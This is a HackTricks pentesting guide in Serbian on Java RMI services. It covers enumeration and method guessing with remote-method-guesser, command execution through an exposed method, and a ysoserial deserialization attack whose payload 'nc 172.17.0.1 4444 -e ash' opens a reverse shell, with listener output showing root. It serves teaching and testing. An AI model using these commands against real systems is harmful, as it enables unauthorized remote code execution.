# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP {{#include ../banners/hacktricks-training.md}} ## Osnovne informacije _Java Remote Method Invocation_, ili _Java RMI_, je objektnorijentisani _RPC_ mehanizam koji omogućava objektu smeštenom u jednoj _Java virtuelnoj mašini_ da poziva metode na objektu smeštenom u drugoj _Java virtuelnoj mašini_. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektnorijentisanu paradigmu. Kratak uvod u _Java RMI_ iz ofanzivne perspektive može se naći u [ovom blackhat predavanju](https://youtu.be/t_aw1mDNhzI?t=202). **Podrazumevani port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezani za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu. _nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti. ## RMI Komponente Jednostavno rečeno, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši: 1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu). 2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće. Prvi izazov rešava _RMI registry_, koji je u suštini servis za imenovanje za _Java RMI_. _RMI registry_ je takođe _RMI usluga_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port. Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI uslugu_ traže od _RMI registry_ odgovarajuće _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom _DNS_ uslugom. Sledeći spisak prikazuje mali primer: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` Drugi od gore pomenutih izazova rešava _Distributed Garbage Collector_ (_DGC_). Ovo je još jedna _RMI service_ sa poznatom `ObjID` vrednošću i dostupna je na praktično svakom _RMI endpointu_. Kada _RMI client_ počne da koristi _RMI service_, šalje informaciju _DGC_-u da je odgovarajući _remote object_ u upotrebi. _DGC_ može pratiti broj referenci i sposobna je da očisti neiskorišćene objekte. Zajedno sa zastarelim _Activation System_, ovo su tri podrazumevana komponenta _Java RMI_: 1. _RMI Registry_ (`ObjID = 0`) 2. _Activation System_ (`ObjID = 1`) 3. _Distributed Garbage Collector_ (`ObjID = 2`) Podrazumevane komponente _Java RMI_ su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_. ## RMI Enumeration [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada identifikujete _RMI_ endpoint, trebali biste to isprobati: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` Izlaz akcije enumeracije je objašnjen detaljnije na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. U zavisnosti od ishoda, trebali biste pokušati da verifikujete identifikovane ranjivosti. Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Bruteforcing Remote Methods Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge i dalje mogu izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno. Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` Identifikovane metode mogu se pozvati na sledeći način: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` Ili možete izvesti napade deserializacije na sledeći način: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` Više informacija može se naći u ovim člancima: - [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) - [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejs ili čak implementaciju susretnutog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde. ## Poznati Interfejsi [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `known` ako su navedeni u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `known` akciju da dobijete više informacija o odgovarajućem _RMI servisu_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan - `port:1099 java` ## Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## References - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ## HackTricks Automatske Komande ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` {{#include ../banners/hacktricks-training.md}}